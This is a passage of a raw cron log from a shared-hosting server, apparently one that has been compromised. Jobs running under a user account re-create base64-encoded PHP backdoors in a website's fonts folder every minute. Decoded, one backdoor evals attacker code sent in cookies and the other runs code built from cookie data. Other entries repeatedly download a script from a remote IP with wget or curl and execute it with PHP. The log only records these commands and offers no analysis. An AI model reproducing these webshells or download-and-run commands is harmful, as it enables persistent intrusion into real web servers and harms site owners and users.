Sep  5 15:01:01 ip-184-168-122-23 CROND[7592]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 15:01:01 ip-184-168-122-23 CROND[7593]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:01:01 ip-184-168-122-23 CROND[7595]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 15:01:01 ip-184-168-122-23 CROND[7596]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:01:01 ip-184-168-122-23 CROND[7594]: (root) CMD (run-parts /etc/cron.hourly)
Sep  5 15:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[7594]: starting 0anacron
Sep  5 15:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[7611]: finished 0anacron
Sep  5 15:02:01 ip-184-168-122-23 CROND[7691]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 15:02:01 ip-184-168-122-23 CROND[7693]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 15:02:01 ip-184-168-122-23 CROND[7694]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:02:01 ip-184-168-122-23 CROND[7695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 15:02:01 ip-184-168-122-23 CROND[7696]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:03:01 ip-184-168-122-23 CROND[7785]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:03:01 ip-184-168-122-23 CROND[7786]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 15:03:01 ip-184-168-122-23 CROND[7788]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 15:03:01 ip-184-168-122-23 CROND[7787]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:04:01 ip-184-168-122-23 CROND[7867]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:04:01 ip-184-168-122-23 CROND[7868]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 15:04:01 ip-184-168-122-23 CROND[7873]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 15:04:01 ip-184-168-122-23 CROND[7872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:04:01 ip-184-168-122-23 CROND[7871]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 15:05:01 ip-184-168-122-23 CROND[7961]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:05:01 ip-184-168-122-23 CROND[7962]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 15:05:01 ip-184-168-122-23 CROND[7963]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 15:05:01 ip-184-168-122-23 CROND[7964]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 15:05:01 ip-184-168-122-23 CROND[7965]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 15:05:01 ip-184-168-122-23 CROND[7967]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 15:05:01 ip-184-168-122-23 CROND[7966]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:06:01 ip-184-168-122-23 CROND[8158]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:06:01 ip-184-168-122-23 CROND[8160]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:06:01 ip-184-168-122-23 CROND[8162]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 15:06:01 ip-184-168-122-23 CROND[8161]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 15:06:01 ip-184-168-122-23 CROND[8159]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 15:07:01 ip-184-168-122-23 CROND[8248]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 15:07:01 ip-184-168-122-23 CROND[8251]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:07:01 ip-184-168-122-23 CROND[8249]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:07:01 ip-184-168-122-23 CROND[8250]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 15:08:01 ip-184-168-122-23 CROND[8343]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 15:08:01 ip-184-168-122-23 CROND[8344]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:08:01 ip-184-168-122-23 CROND[8345]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:08:01 ip-184-168-122-23 CROND[8346]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 15:08:01 ip-184-168-122-23 CROND[8347]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 15:09:01 ip-184-168-122-23 CROND[8430]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 15:09:01 ip-184-168-122-23 CROND[8432]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:09:01 ip-184-168-122-23 CROND[8431]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:09:01 ip-184-168-122-23 CROND[8435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 15:09:01 ip-184-168-122-23 CROND[8433]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 15:10:01 ip-184-168-122-23 CROND[8520]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 15:10:01 ip-184-168-122-23 CROND[8525]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 15:10:01 ip-184-168-122-23 CROND[8526]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:10:01 ip-184-168-122-23 CROND[8528]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 15:10:01 ip-184-168-122-23 CROND[8529]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 15:10:01 ip-184-168-122-23 CROND[8527]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 15:10:01 ip-184-168-122-23 CROND[8523]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 15:10:01 ip-184-168-122-23 CROND[8524]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:11:01 ip-184-168-122-23 CROND[8705]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 15:11:01 ip-184-168-122-23 CROND[8706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:11:01 ip-184-168-122-23 CROND[8709]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:11:01 ip-184-168-122-23 CROND[8708]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 15:12:01 ip-184-168-122-23 CROND[8792]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:12:01 ip-184-168-122-23 CROND[8793]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 15:12:01 ip-184-168-122-23 CROND[8794]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:12:01 ip-184-168-122-23 CROND[8795]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 15:12:01 ip-184-168-122-23 CROND[8796]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
